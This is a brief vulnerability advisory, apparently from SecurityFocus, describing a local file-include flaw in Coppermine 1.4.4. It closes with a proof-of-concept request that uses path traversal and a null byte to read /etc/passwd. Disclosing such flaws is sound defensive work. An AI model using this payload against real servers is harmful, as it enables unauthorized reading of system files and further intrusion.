source: https://www.securityfocus.com/bid/17570/info

Coppermine is prone to a local file-include vulnerability. This may allow unauthorized users to view files and to execute local scripts.

Version 1.4.4 is vulnerable to this issue; other versions may also be affected.

http://www.example.com/cpg/index.php?file=.//././/././/././/././/././/././/././/././/./etc/passwd%00